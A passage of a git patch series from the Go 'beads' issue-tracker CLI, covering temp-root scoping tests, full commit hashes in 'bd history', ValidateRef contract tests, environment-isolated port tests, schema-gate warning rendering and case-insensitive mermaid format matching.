{"/var/folders/zz/qqqqqqqq/T", "darwin", false}, + // The /tmp family is excluded on purpose. + {"/tmp", "linux", false}, + {"/tmp", "darwin", false}, + {"/private/tmp", "darwin", false}, + } + for _, tc := range cases { + if got := isSharedTempRoot(tc.root, tc.goos); got != tc.want { + t.Errorf("isSharedTempRoot(%q, %q) = %v, want %v", tc.root, tc.goos, got, tc.want) + } + } + }) + + // End to end: TMPDIR pointed at a disk-backed /var/tmp path, with the + // sandbox HOME nested under it exactly the way test-env.sh builds one. + // os.TempDir() must survive as a root, or the deleted-cwd arm goes inert + // on every host that sets TMPDIR this way. + t.Run("HOME inside a /var/tmp-rooted TMPDIR keeps it a root", func(t *testing.T) { + const tmpdir = "/var/tmp/beads-gate-probe" + t.Setenv("TMPDIR", tmpdir) + t.Setenv("HOME", tmpdir+"/beads-test-env-abc123/home") + + roots := tempDirRoots() + if len(roots) == 0 { + t.Fatal("tempDirRoots() is empty; the deleted-cwd arm could never fire") + } + if !underAnyRoot(tmpdir+"/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v with TMPDIR=%s, want it still covered", roots, tmpdir) + } + // The rescue is scoped to this TMPDIR, not to /var/tmp at large. + // Note this assertion does not by itself pin the widening: under a + // SUBdirectory TMPDIR the sibling is out of range at base too. The + // bare-TMPDIR subtest below is the pin. + const sibling = "/var/tmp/some-other-users-production-server/.beads/dolt" + if underAnyRoot(sibling, roots) { + t.Errorf("tempDirRoots() = %v credited unrelated sibling path %q", roots, sibling) + } + }) + + // Safety bound: crediting the process's OWN TMPDIR-rooted sandbox must + // not widen the arm into crediting every /var/tmp path on the box. The + // degenerate case is a BARE TMPDIR=/var/tmp, where mktemp -d lands the + // sandbox HOME directly under the shared root — so the carve-out is + // asked to spare /var/tmp itself, and another user's production server + // with a deleted cwd would come into range of the kill arm. Adding + // /var/tmp to fixedTempRoots without isSharedTempRoot does exactly + // that; this is the subtest that catches it. + t.Run("a sandbox HOME never rescues bare /var/tmp as a root", func(t *testing.T) { + t.Setenv("TMPDIR", "/var/tmp") + t.Setenv("HOME", "/var/tmp/tmp.abc123/home") + + roots := tempDirRoots() + for _, root := range roots { + if filepath.Clean(root) == "/var/tmp" { + t.Errorf("tempDirRoots() = %v kept the shared root /var/tmp", roots) + } + } + const sibling = "/var/tmp/some-other-users-production-server/.beads/dolt" + if underAnyRoot(sibling, roots) { + t.Errorf("tempDirRoots() = %v credited unrelated sibling path %q", roots, sibling) + } + // Bounded, not disabled: the hardcoded /tmp fallback still has to + // come through, or the arm would be inert rather than scoped. + if !underAnyRoot("/tmp/beads-bd-tests-xyz/.beads/dolt", roots) { + t.Errorf("tempDirRoots() = %v, want /tmp still covered", roots) + } + }) +} From d94e0c7cd9441e08e36f56e6074ba4d8565b35c7 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 08:47:31 -0700 Subject: [PATCH 102/624] fix(history): print full commit hashes so bd show --as-of accepts them (#6730) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Fix bd history 8-char hash truncation causing misleading AS OF errors (refs be-95c0y) * feat: green — Fix bd history 8-char hash truncation causing misleading AS OF errors (refs be-95c0y) * test(feat): red — Review: Fix bd history 8-char hash truncation causing misleading AS OF errors (refs be-3phh0) * feat: green — narrow truncated-hash heuristic to 16-31 chars so it stops false-positiving on real short branch names (round 2, refs be-3phh0) Round 1's ^[0-9a-v]{1,31}$ heuristic rejected any 1-31 char ref drawn from Dolt's hash alphabet, including real short branch names spelled entirely in [0-9a-v] (e.g. "main"). That broke the pre-existing internal/storage/dolt/dolt_test.go:TestValidateRef "valid hash"/"valid branch" subtests, which this diff does not touch. Raising the floor to 16 chars keeps the heuristic well clear of "main"(4) and "abc123def456"(12) while still catching the strongest signal case (up to 31 chars, one short of a full 32-char hash). The original 8-char truncation example no longer gets the specific error and falls back to Dolt's generic "branch not found" -- an accepted, disclosed tradeoff since FIX A (bd history now prints the full hash) already removed the only first-party source of an 8-char truncated hash in this codebase. * fix(issueops): drop the truncated-hash rejection from ValidateRef (be-i5s9b) Review feedback on #6730: ValidateRef is not the --as-of validator. It is the shared ref guard for AS OF, dolt_diff, the fast-forward path (LocalAheadBehind, FastForwardAdopt), CommitExists and federation sync status, so a shape heuristic there rejects well-formed refs for every caller, not just --as-of. ^[0-9a-v]{16,31}$ made ordinary 16-character branch names such as "productionmirror", "releasecandidate" and "integrationtests" invalid for AS OF, dolt_diff and the fast-forward path, and made CommitExists return false for the hash prefixes it is documented to accept. With bd history now printing the full hash, the heuristic had almost nothing left to catch, so it is removed rather than moved. as_of.go is back to its pre-PR content, which also makes ValidateRef's doc comment accurate again. The --as-of flag help still says a full 32-character hash is required. The tests for the dropped heuristic are replaced by a contract test: ValidateRef must accept well-formed refs spelled entirely in Dolt's hash alphabet, including the three branch names above. Against the previous head it fails on those three and on two hash prefixes. --- cmd/bd/history.go | 2 +- cmd/bd/history_full_hash_test.go | 68 +++++++++++++++++++++++++ cmd/bd/show.go | 2 +- internal/storage/issueops/as_of_test.go | 40 +++++++++++++++ 4 files changed, 110 insertions(+), 2 deletions(-) create mode 100644 cmd/bd/history_full_hash_test.go create mode 100644 internal/storage/issueops/as_of_test.go diff --git a/cmd/bd/history.go b/cmd/bd/history.go index 246af0320..0151cae95 100644 --- a/cmd/bd/history.go +++ b/cmd/bd/history.go @@ -106,7 +106,7 @@ func runHistory(ctx context.Context, backend historyBackend, issueID string, lim for i, entry := range history { fmt.Printf("%s %s\n", - ui.RenderMuted(entry.CommitHash[:8]), + ui.RenderMuted(entry.CommitHash), ui.RenderMuted(entry.CommitDate.Format("2006-01-02 15:04:05"))) fmt.Printf(" Author: %s\n", entry.Committer) diff --git a/cmd/bd/history_full_hash_test.go b/cmd/bd/history_full_hash_test.go new file mode 100644 index 000000000..357876bbb --- /dev/null +++ b/cmd/bd/history_full_hash_test.go @@ -0,0 +1,68 @@ +package main + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// fakeHistoryBackend is a minimal historyBackend for exercising runHistory +// without a real store. +type fakeHistoryBackend struct { + entries []*storage.HistoryEntry +} + +func (f *fakeHistoryBackend) History(_ context.Context, _ string) ([]*storage.HistoryEntry, error) { + return f.entries, nil +} + +func (f *fakeHistoryBackend) IterEvents(_ context.Context, _ string, _ int) (storage.Iter[types.Event], error) { + return nil, nil +} + +// TestHistoryTextOutputShowsFullCommitHash covers be-95c0y FIX A: text-mode +// `bd history` output must print the full Dolt commit hash, not just its +// first 8 characters -- an 8-char prefix is not valid input to `bd show +// --as-of` (Dolt's AS OF does not resolve hash prefixes), so truncating it +// here hands the user a value that looks copyable but always fails. +func TestHistoryTextOutputShowsFullCommitHash(t *testing.T) { + const fullHash = "0123456789abcdefghijklmnopqrstuv" // 32 chars, Dolt's [0-9a-v] alphabet + if len(fullHash) != 32 { + t.Fatalf("test fixture bug: fullHash is %d chars, want 32", len(fullHash)) + } + + backend := &fakeHistoryBackend{ + entries: []*storage.HistoryEntry{ + { + CommitHash: fullHash, + Committer: "test-user", + CommitDate: time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC), + Issue: &types.Issue{ + ID: "test-1", + Title: "test issue", + Priority: 2, + Status: types.StatusOpen, + }, + }, + }, + } + + oldJSON := jsonOutput + jsonOutput = false + t.Cleanup(func() { jsonOutput = oldJSON }) + + out := captureStdout(t, func() error { + return runHistory(context.Background(), backend, "test-1", 0, false) + }) + + if !strings.Contains(out, fullHash) { + t.Errorf("bd history text output does not contain the full commit hash %q; got:\n%s", fullHash, out) + } + if strings.Contains(out, fullHash[:8]) && !strings.Contains(out, fullHash) { + t.Errorf("bd history text output contains only the truncated 8-char hash %q, not the full hash", fullHash[:8]) + } +} diff --git a/cmd/bd/show.go b/cmd/bd/show.go index cfc0e3b35..14df5a081 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -301,7 +301,7 @@ func init() { showCmd.Flags().Bool("long", false, "Show all available fields (extended metadata, agent identity, gate fields, etc.)") showCmd.Flags().Bool("refs", false, "Show issues that reference this issue (reverse lookup)") showCmd.Flags().Bool("children", false, "Show only the children of this issue") - showCmd.Flags().String("as-of", "", "Show issue as it existed at a specific commit hash or branch (requires Dolt)") + showCmd.Flags().String("as-of", "", "Show issue as it existed at a specific commit hash or branch (requires Dolt; commit hashes must be the full 32-character hash from 'bd history', not a prefix)") showCmd.Flags().StringArray("id", nil, "Issue ID (use for IDs that look like flags, e.g., --id=gt--xyz)") showCmd.Flags().Bool("local-time", false, "Show timestamps in local time instead of UTC") showCmd.Flags().BoolP("watch", "w", false, "Watch for changes and auto-refresh display") diff --git a/internal/storage/issueops/as_of_test.go b/internal/storage/issueops/as_of_test.go new file mode 100644 index 000000000..30b2ba994 --- /dev/null +++ b/internal/storage/issueops/as_of_test.go @@ -0,0 +1,40 @@ +package issueops + +import "testing" + +// TestValidateRefAcceptsWellFormedRefs pins ValidateRef to its documented +// contract: it checks syntax only. It is the shared ref guard for AS OF, +// dolt_diff, the fast-forward path, CommitExists' hash-prefix lookup and +// federation remote refs, so it must never reject a well-formed ref by +// guessing what the ref means. Refs spelled entirely within Dolt's [0-9a-v] +// hash alphabet are the case that matters: no shape check can tell such a +// branch name from a hash prefix, and CommitExists is documented to accept +// prefixes. The rejection cases are covered by TestValidateRef in +// internal/storage/dolt. +func TestValidateRefAcceptsWellFormedRefs(t *testing.T) { + valid := []string{ + "main", + "release/v2.0", + "feature/auth.flow", + "wip/my-feature", + // 16-character branch names spelled entirely within Dolt's [0-9a-v] + // hash alphabet, so nothing about their shape separates them from a + // hash prefix. + "productionmirror", + "releasecandidate", + "integrationtests", + // Hash prefixes, which CommitExists resolves with a LIKE match. + "0123456789abcdef", + "0123456789abcdefghijklmnopqrstu", + // A full 32-character Dolt commit hash. + "0123456789abcdefghijklmnopqrstuv", + } + + for _, ref := range valid { + t.Run(ref, func(t *testing.T) { + if err := ValidateRef(ref); err != nil { + t.Errorf("ValidateRef(%q) = %v, want nil", ref, err) + } + }) + } +} From be8f78e0f16eb9109bcf2aac9f3de05c16a1ff70 Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sat, 26 Sep 2026 09:01:43 -0700 Subject: [PATCH 103/624] test(configfile): make port-env fallback tests ambient-blind (be-v4g1j) (#6592) TestEnvVarOverrides/BEADS_DOLT_PORT_fallback_when_SERVER_PORT_not_set assumed BEADS_DOLT_SERVER_PORT was ambiently unset, which is false on every Gas City agent session (ambient value observed: 28231). Add an explicit t.Setenv(..., "") clear before setting the lower-priority var, mirroring the same fix already landed for internal/doltserver (ce39cbc14). Also clears BEADS_DOLT_PORT in the sibling "invalid port env var falls through to config" subtest: GetDoltServerPort() falls through to BEADS_DOLT_PORT when BEADS_DOLT_SERVER_PORT fails to parse, so that subtest had the same latent ambient-blind exposure even though it wasn't the one observed failing. Host/User/Database env-var subtests in the same function were audited and left unchanged: each of GetDoltServerHost/User/Database checks exactly one env var with no secondary fallback var, so there is no second variable for an ambient value to leak through. --- internal/configfile/configfile_test.go | 2 ++ 1 file changed, 2 insertions(+) diff --git a/internal/configfile/configfile_test.go b/internal/configfile/configfile_test.go index 99d3ba3c6..93c3c8b36 100644 --- a/internal/configfile/configfile_test.go +++ b/internal/configfile/configfile_test.go @@ -1115,6 +1115,7 @@ func TestEnvVarOverrides(t *testing.T) { t.Run("invalid port env var falls through to config", func(t *testing.T) { t.Setenv("BEADS_DOLT_SERVER_PORT", "not-a-number") + t.Setenv("BEADS_DOLT_PORT", "") cfg := &Config{DoltServerPort: 3308} if got := cfg.GetDoltServerPort(); got != 3308 { t.Errorf("GetDoltServerPort() = %d, want 3308", got) @@ -1122,6 +1123,7 @@ func TestEnvVarOverrides(t *testing.T) { }) t.Run("BEADS_DOLT_PORT fallback when SERVER_PORT not set", func(t *testing.T) { + t.Setenv("BEADS_DOLT_SERVER_PORT", "") t.Setenv("BEADS_DOLT_PORT", "3307") cfg := &Config{} if got := cfg.GetDoltServerPort(); got != 3307 { From eb691bf128a4a4e0d67db8c2db15407eaa15efb3 Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 09:02:01 -0700 Subject: [PATCH 104/624] fix(embeddeddolt): shape lenient gate warnings (#6660) (#6662) * fix(embeddeddolt): shape lenient gate warnings (#6660) Render decision-specific gate guidance for adopt, adopt-fast-forward, and fork-skew warnings while retaining the generic coordination block for decisionless refusals. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Rongjun GENG * fix(embeddeddolt): terminate lenient gate warnings; pin composed output Maintainer review fixups for #6662. - Restore the trailing newline the const-extraction dropped from the two non-data-behind arms. lenientSharedGateGuidance used to be the last thing in those format strings; moving it into the body (rendered first) left openWorkingSetReconcile ending at " schema." and openReadOnlyCommand at " Writes are blocked until the schema is reconciled.", so the command's own output was glued onto the warning. Every sibling emitter, in embedded and in server mode, terminates. - Extract the arm rendering into a pure lenientGateWarning(intent, gateErr) so the COMPOSED warning is assertable, and pin newline termination across every intent x gate shape. Nothing pinned the composed text before: the helper tests see only the body, and the composed assertions in remote_sync_gate_test.go are BEADS_TEST_EMBEDDED_DOLT-gated and Contains-only, which is why the defect above shipped green. - Cover the fourth non-empty Decision, shared-no-remote (#5920), in the helper's table test. - Correct the rationale comment: the blunt bullets are measurably wrong on data-behind, but on the smart decisions they are redundant with -- and, for the bd migrate --force bullet, contradicted by -- the shaped body. For adopt/adopt-ff the bd bootstrap bullet is what userBody prescribes, so "measurably wrong" there invited a future editor to restore them. - Reflow the first sentence of lenientSharedGateGuidance, authored to continue the previous line back when it was appended, now that it always starts its own. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- .../embeddeddolt/lenient_gate_warning_test.go | 205 ++++++++++++++++++ internal/storage/embeddeddolt/store.go | 183 +++++++++------- 2 files changed, 309 insertions(+), 79 deletions(-) create mode 100644 internal/storage/embeddeddolt/lenient_gate_warning_test.go diff --git a/internal/storage/embeddeddolt/lenient_gate_warning_test.go b/internal/storage/embeddeddolt/lenient_gate_warning_test.go new file mode 100644 index 000000000..bb2053726 --- /dev/null +++ b/internal/storage/embeddeddolt/lenient_gate_warning_test.go @@ -0,0 +1,205 @@ +//go:build cgo + +package embeddeddolt + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/schema" +) + +// dataBehindFallbackReason is the literal behind +// schema.RemoteMigrateGateError.IsDataBehind; the schema package keeps its +// fallback-reason values unexported. Every fixture using it is guarded by an +// IsDataBehind check so a drift here fails loudly instead of silently +// downgrading the case to a blunt refusal. +const dataBehindFallbackReason = "data-behind" + +func TestLenientGateWarningBody_ShapedDecisions(t *testing.T) { + tests := []struct { + name string + decision string + shared bool + want string + unwanted string + skew []int + }{ + { + name: "adopt", + decision: "adopt", + want: "The remote has already been migrated by another clone", + unwanted: "designated migrator", + }, + { + name: "adopt fast-forward", + decision: "adopt-ff", + want: "strict ancestor of the remote's", + unwanted: "designated migrator", + }, + { + name: "fork skew", + decision: "fork-skew", + skew: []int{42}, + want: "The schema has forked", + unwanted: "designated migrator", + }, + { + // #5920's shared-store stop is the fourth non-empty Decision. It + // is the shaped arm least likely to be exercised by hand in + // embedded mode, which is exactly why the helper's predicate + // needs it pinned: its recovery is the consent command, not the + // blunt bullets' `bd migrate --force`. + name: "shared no remote", + decision: "shared-no-remote", + shared: true, + want: "served to multiple clients", + unwanted: "designated migrator", + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + gateErr := &schema.RemoteMigrateGateError{ + CurrentVersion: 41, + LatestVersion: 42, + Pending: 1, + Decision: tc.decision, + SkewVersions: tc.skew, + Shared: tc.shared, + } + + warning := lenientGateWarningBody(gateErr) + if !strings.Contains(warning, tc.want) { + t.Errorf("warning is missing shaped guidance %q; got:\n%s", tc.want, warning) + } + if strings.Contains(warning, tc.unwanted) { + t.Errorf("warning still contains blunt guidance %q; got:\n%s", tc.unwanted, warning) + } + }) + } +} + +func TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance(t *testing.T) { + gateErr := &schema.RemoteMigrateGateError{ + CurrentVersion: 41, + LatestVersion: 42, + Pending: 1, + } + + warning := lenientGateWarningBody(gateErr) + if !strings.Contains(warning, "designated migrator") { + t.Fatalf("blunt refusal lost shared migrate-or-adopt guidance:\n%s", warning) + } +} + +// TestLenientGateWarning_ComposedOutput pins the COMPOSED warning — body plus +// mode line — for every intent that can reach it, against each gate shape. +// +// The termination assertion is the reason this test exists. #6660 moved the +// shared guidance, which had been the only `\n` at the end of the two +// non-data-behind arms, to the front of the body; both arms shipped +// unterminated and the package stayed green, because the helper-level tests +// above never see the composed text and the only composed assertions +// (remote_sync_gate_test.go) are BEADS_TEST_EMBEDDED_DOLT-gated and +// Contains-only, so they are blind to both termination and ordering. +func TestLenientGateWarning_ComposedOutput(t *testing.T) { + shapes := []struct { + name string + gateErr *schema.RemoteMigrateGateError + wantDataBehind bool + wantBody string + }{ + { + name: "blunt refusal", + gateErr: &schema.RemoteMigrateGateError{ + CurrentVersion: 41, + LatestVersion: 42, + Pending: 1, + }, + wantBody: "designated migrator", + }, + { + name: "data-behind fallback", + gateErr: &schema.RemoteMigrateGateError{ + CurrentVersion: 41, + LatestVersion: 42, + Pending: 1, + FallbackReason: dataBehindFallbackReason, + }, + wantDataBehind: true, + wantBody: schema.DataBehindRemedyCommand, + }, + { + name: "shaped decision", + gateErr: &schema.RemoteMigrateGateError{ + CurrentVersion: 41, + LatestVersion: 42, + Pending: 1, + Decision: "adopt", + }, + wantBody: "The remote has already been migrated by another clone", + }, + } + + // openStrict is absent on purpose: toleratesGateRefusal never admits it, + // so it cannot reach this renderer. + intents := []struct { + name string + intent openIntent + wantMode string + }{ + { + name: "read-only command", + intent: openReadOnlyCommand, + wantMode: "Read-only command: continuing on schema v41", + }, + { + name: "working-set reconcile", + intent: openWorkingSetReconcile, + wantMode: "Working-set reconcile command: continuing on schema v41", + }, + { + name: "remote sync", + intent: openRemoteSync, + wantMode: "Remote-sync command: continuing on schema v41", + }, + } + + for _, shape := range shapes { + if got := shape.gateErr.IsDataBehind(); got != shape.wantDataBehind { + t.Fatalf("%s fixture: IsDataBehind() = %v, want %v — the fixture no longer builds the shape it names", shape.name, got, shape.wantDataBehind) + } + for _, intent := range intents { + t.Run(shape.name+"/"+intent.name, func(t *testing.T) { + got := lenientGateWarning(intent.intent, shape.gateErr) + + if !strings.HasSuffix(got, "\n") { + t.Errorf("composed warning is not newline-terminated, so the command's own output is glued onto it; got:\n%q", got) + } + if !strings.HasPrefix(got, "Warning: ") { + t.Errorf("composed warning does not open with the Warning: prefix; got:\n%s", got) + } + if !strings.Contains(got, intent.wantMode) { + t.Errorf("composed warning is missing the mode line %q; got:\n%s", intent.wantMode, got) + } + + if intent.intent == openRemoteSync { + // This arm is the data-behind stop's own remedy running, + // so it renders the one-line summary rather than the + // body. What it must never do is name the migrate the + // stop exists to prevent — which the data-behind body + // itself mentions, so routing the body through here + // would regress it silently. + if strings.Contains(got, "bd migrate --force") { + t.Errorf("remote-sync confirmation names `bd migrate --force`; got:\n%s", got) + } + return + } + if !strings.Contains(got, shape.wantBody) { + t.Errorf("composed warning is missing the %s body text %q; got:\n%s", shape.name, shape.wantBody, got) + } + }) + } + } +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 58c96b785..058026ce5 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -65,6 +65,30 @@ type EmbeddedDoltStore struct { intent openIntent } +// lenientSharedGateGuidance is the blunt migrate-or-adopt block shared by the +// lenient-open warnings. Before #6660 it was appended to the mode line and its +// first fragment continued that sentence on the same line; it now always leads +// the warning and so starts its own line, which is why the opening sentence is +// wrapped as a full line rather than as a continuation. +const lenientSharedGateGuidance = " This is a coordination decision, not an auto-fix - do NOT run a\n" + + " migration unless you are the single designated migrator (only ONE\n" + + " clone may migrate a shared remote, else the schema forks; #4259):\n" + + " • designated migrator (only ONE machine): bd migrate --force && bd dolt push\n" + + " • every other clone (another already migrated): bd bootstrap\n" + + " • several machines: only ONE migrates; sync each other clone and run\n" + + " bd dolt pull after the migrator pushes, before upgrading it\n" + +// lenientGateWarningBody preserves the generic migrate-or-adopt guidance for +// blunt gate refusals while allowing smart-gate decisions to explain their +// narrower recovery. A non-empty Decision means UserMessage has a shaped body; +// data-behind is the one shaped refusal deliberately represented as a fallback. +func lenientGateWarningBody(gateErr *schema.RemoteMigrateGateError) string { + if gateErr.Decision != "" || gateErr.IsDataBehind() { + return "Warning: " + gateErr.UserMessage() + } + return "Warning: " + gateErr.Error() + "\n" + lenientSharedGateGuidance +} + // openIntent classifies why a store is being opened. openStrict fails the // open on any pending-migration refusal; openReadOnlyCommand and // openWorkingSetReconcile relax both the #4259 remote-migrate gate refusal and @@ -102,6 +126,83 @@ const ( openRemoteSync ) +// lenientGateWarning renders the complete stderr warning for an open that is +// continuing past a remote-migrate gate refusal, so the composed text is a +// pure function of (intent, gateErr) and can be asserted directly in tests. +// Every arm terminates with a newline: the warning is the last thing written +// before the command's own output, and an unterminated arm glues the two +// together (#6660 regressed exactly that when the shared guidance, which used +// to be the terminator of the two non-data-behind arms, moved to the front). +// +// #6575/#6660: lenientSharedGateGuidance is the blunt migrate-or-adopt block. +// On data-behind its bullets are measurably wrong — `bd migrate --force` +// applies the migration this stop exists to prevent, the `bd dolt push` after +// it is rejected non-fast-forward while the clone is still behind, and +// `bd bootstrap` no-ops against an existing workspace. On the smart decisions +// they are instead redundant with the shaped body — and, for the +// `bd migrate --force` bullet, contradicted by it (fork-skew's body says +// migrating cannot un-fork the schema). Either way gateErr's own UserMessage +// is where the right body lives, already branched per decision and, for +// data-behind, per fast-forward vs diverged pull. Printing %v (Error(), the +// one-line summary) and appending the bullets dropped it: a 1.1-era upgrader's +// first `bd list` and their `bd dolt commit` both land in the two arms below, +// so the first thing bd said to a data-behind clone was the wedge. Server +// mode's warnLenientOpenRefusal (dolt/store.go) has rendered UserMessage all +// along; these arms are the ones that lagged. +// +// The intent framing stays: the command in hand is still SUCCEEDING against +// the old schema, which UserMessage — written for the fatal refusal — does not +// say. So the mode line is appended to the shaped body rather than replacing +// it. +func lenientGateWarning(intent openIntent, gateErr *schema.RemoteMigrateGateError) string { + body := lenientGateWarningBody(gateErr) + switch intent { + case openRemoteSync: + // This is the refusal's own prescribed remedy running. It gets + // the short confirmation rather than the full data-behind body: + // toleratesGateRefusal admits only the data-behind stop here, so + // the operator has necessarily just been handed that body by the + // command this pull is unblocking, and re-printing "pull first" + // at the moment they are finally doing it is noise. What it must + // never do is name `bd migrate --force`. + return fmt.Sprintf( + "Warning: %[1]v\n"+ + " Remote-sync command: continuing on schema v%[2]d without migrating, so\n"+ + " this pull can bring in the commits this clone is behind on. Re-run the\n"+ + " command you were blocked on once it completes.\n", + gateErr, gateErr.CurrentVersion) + case openWorkingSetReconcile: + if gateErr.IsDataBehind() { + return fmt.Sprintf( + "%[1]s"+ + " Working-set reconcile command: continuing on schema v%[2]d without\n"+ + " migrating; the commit applies to the working set at the current\n"+ + " schema. It does not resolve the schema — the pull above is what does.\n", + body, gateErr.CurrentVersion) + } + return fmt.Sprintf( + "%[1]s"+ + " Working-set reconcile command: continuing on schema v%[2]d without\n"+ + " migrating; the commit applies to the working set at the current\n"+ + " schema.\n", + body, gateErr.CurrentVersion) + default: // openReadOnlyCommand + if gateErr.IsDataBehind() { + return fmt.Sprintf( + "%[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating, so\n"+ + " this read succeeds against the old schema. Writes stay blocked until\n"+ + " this clone has pulled.\n", + body, gateErr.CurrentVersion) + } + return fmt.Sprintf( + "%[1]s"+ + " Read-only command: continuing on schema v%[2]d without migrating.\n"+ + " Writes are blocked until the schema is reconciled.\n", + body, gateErr.CurrentVersion) + } +} + // toleratesGateRefusal reports whether this open's intent may warn and // continue past a remote-migrate gate refusal (#4259/#5920/#6575) instead of // failing the open. @@ -447,85 +548,9 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { // working-set commit. Warn and continue on the current schema; // a plain (openStrict) open still fails with the full // migrate-or-adopt guidance. - const sharedGuidance = " This is a\n" + - " coordination decision, not an auto-fix - do NOT run a migration unless\n" + - " you are the single designated migrator (only ONE clone may migrate a\n" + - " shared remote, else the schema forks; #4259):\n" + - " • designated migrator (only ONE machine): bd migrate --force && bd dolt push\n" + - " • every other clone (another already migrated): bd bootstrap\n" + - " • several machines: only ONE migrates; sync each other clone and run\n" + - " bd dolt pull after the migrator pushes, before upgrading it\n" - // #6575: sharedGuidance is the blunt migrate-or-adopt block, and - // on the data-behind stop every bullet in it is measurably wrong - // — `bd migrate --force` applies the migration this stop exists - // to prevent, the `bd dolt push` after it is rejected - // non-fast-forward while the clone is still behind, and - // `bd bootstrap` no-ops against an existing workspace. The one - // command that moves the clone forward is `bd dolt pull`, and - // gateErr's own UserMessage is where that body lives, already - // branched for the fast-forward and diverged pulls. Printing - // %v (Error(), the one-line summary) and appending the bullets - // dropped it: a 1.1-era upgrader's first `bd list` and their - // `bd dolt commit` both land in the two arms below, so the first - // thing bd said to a data-behind clone was the wedge. Server - // mode's warnLenientOpenRefusal (dolt/store.go) has rendered - // UserMessage all along; these arms are the ones that lagged. - // - // The intent framing stays: the command in hand is still - // SUCCEEDING against the old schema, which UserMessage — written - // for the fatal refusal — does not say. So the mode line is - // appended to the data-behind body rather than replacing it. - body := "Warning: " + gateErr.Error() + "\n" - if gateErr.IsDataBehind() { - body = "Warning: " + gateErr.UserMessage() - } - switch s.intent { - case openRemoteSync: - // This is the refusal's own prescribed remedy running. It gets - // the short confirmation rather than the full data-behind body: - // toleratesGateRefusal admits only the data-behind stop here, so - // the operator has necessarily just been handed that body by the - // command this pull is unblocking, and re-printing "pull first" - // at the moment they are finally doing it is noise. What it must - // never do is name `bd migrate --force`. - fmt.Fprintf(os.Stderr, - "Warning: %[1]v\n"+ - " Remote-sync command: continuing on schema v%[2]d without migrating, so\n"+ - " this pull can bring in the commits this clone is behind on. Re-run the\n"+ - " command you were blocked on once it completes.\n", - gateErr, gateErr.CurrentVersion) - case openWorkingSetReconcile: - if gateErr.IsDataBehind() { - fmt.Fprintf(os.Stderr, - "%[1]s"+ - " Working-set reconcile command: continuing on schema v%[2]d without\n"+ - " migrating; the commit applies to the working set at the current\n"+ - " schema. It does not resolve the schema — the pull above is what does.\n", - body, gateErr.CurrentVersion) - break - } - fmt.Fprintf(os.Stderr, - "%[1]s"+ - " Working-set reconcile command: continuing on schema v%[2]d without\n"+ - " migrating; the commit applies to the working set at the current\n"+ - " schema."+sharedGuidance, - body, gateErr.CurrentVersion) - default: // openReadOnlyCommand - if gateErr.IsDataBehind() { - fmt.Fprintf(os.Stderr, - "%[1]s"+ - " Read-only command: continuing on schema v%[2]d without migrating, so\n"+ - " this read succeeds against the old schema. Writes stay blocked until\n"+ - " this clone has pulled.\n", - body, gateErr.CurrentVersion) - break - } - fmt.Fprintf(os.Stderr, - "%[1]s"+ - " Read-only command: continuing on schema v%[2]d without migrating.\n"+ - " Writes are blocked until the schema is reconciled."+sharedGuidance, - body, gateErr.CurrentVersion) - } + // lenientGateWarning owns the rendering (and the rationale for + // preferring gateErr's shaped body over the blunt bullets). + fmt.Fprint(os.Stderr, lenientGateWarning(s.intent, gateErr)) return nil } return err From ce512c3b2bb2386710d85efbeef7896d9bb8bf7d Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sat, 26 Sep 2026 09:03:58 -0700 Subject: [PATCH 105/624] fix(dep tree): match --format mermaid case-insensitively (#6646) `bd dep tree --format Mermaid` fell through silently to the plain-text renderer because the mermaid check was a raw string comparison while the json check two lines earlier already folds case. Extract the check into isMermaidTreeFormat and use strings.EqualFold, matching json. Refs #6339 Co-authored-by: Claude Sonnet 5 --- cmd/bd/dep_test.go | 23 +++++++++++++++++++++++ cmd/bd/dep_tree.go | 7 ++++++- 2 files changed, 29 insertions(+), 1 deletion(-) diff --git a/cmd/bd/dep_test.go b/cmd/bd/dep_test.go index 312e692c1..188e1309e 100644 --- a/cmd/bd/dep_test.go +++ b/cmd/bd/dep_test.go @@ -517,6 +517,29 @@ func TestDepTreeFormatFlag(t *testing.T) { } } +// TestDepTreeFormatMermaidCaseInsensitive pins that --format mermaid folds case +// the same way the json format check does. +func TestDepTreeFormatMermaidCaseInsensitive(t *testing.T) { + tests := []struct { + format string + want bool + }{ + {"mermaid", true}, + {"Mermaid", true}, + {"MERMAID", true}, + {"", false}, + {"json", false}, + {"dot", false}, + } + for _, tt := range tests { + t.Run(tt.format, func(t *testing.T) { + if got := isMermaidTreeFormat(tt.format); got != tt.want { + t.Errorf("isMermaidTreeFormat(%q) = %v, want %v", tt.format, got, tt.want) + } + }) + } +} + func TestGetStatusEmoji(t *testing.T) { tests := []struct { status types.Status diff --git a/cmd/bd/dep_tree.go b/cmd/bd/dep_tree.go index ffce21492..a8a4393ad 100644 --- a/cmd/bd/dep_tree.go +++ b/cmd/bd/dep_tree.go @@ -80,6 +80,11 @@ func proxiedTreeTarget(ctx context.Context, arg string) (treeTarget, error) { return treeTarget{rootID: rootID, walker: walker, cleanup: func() {}}, nil } +// isMermaidTreeFormat reports whether --format selects the mermaid renderer. +func isMermaidTreeFormat(formatStr string) bool { + return strings.EqualFold(formatStr, "mermaid") +} + // runDepTree is the whole of `bd dep tree` on both routes. func runDepTree(cmd *cobra.Command, ctx context.Context, args []string) error { maxDepth, _ := 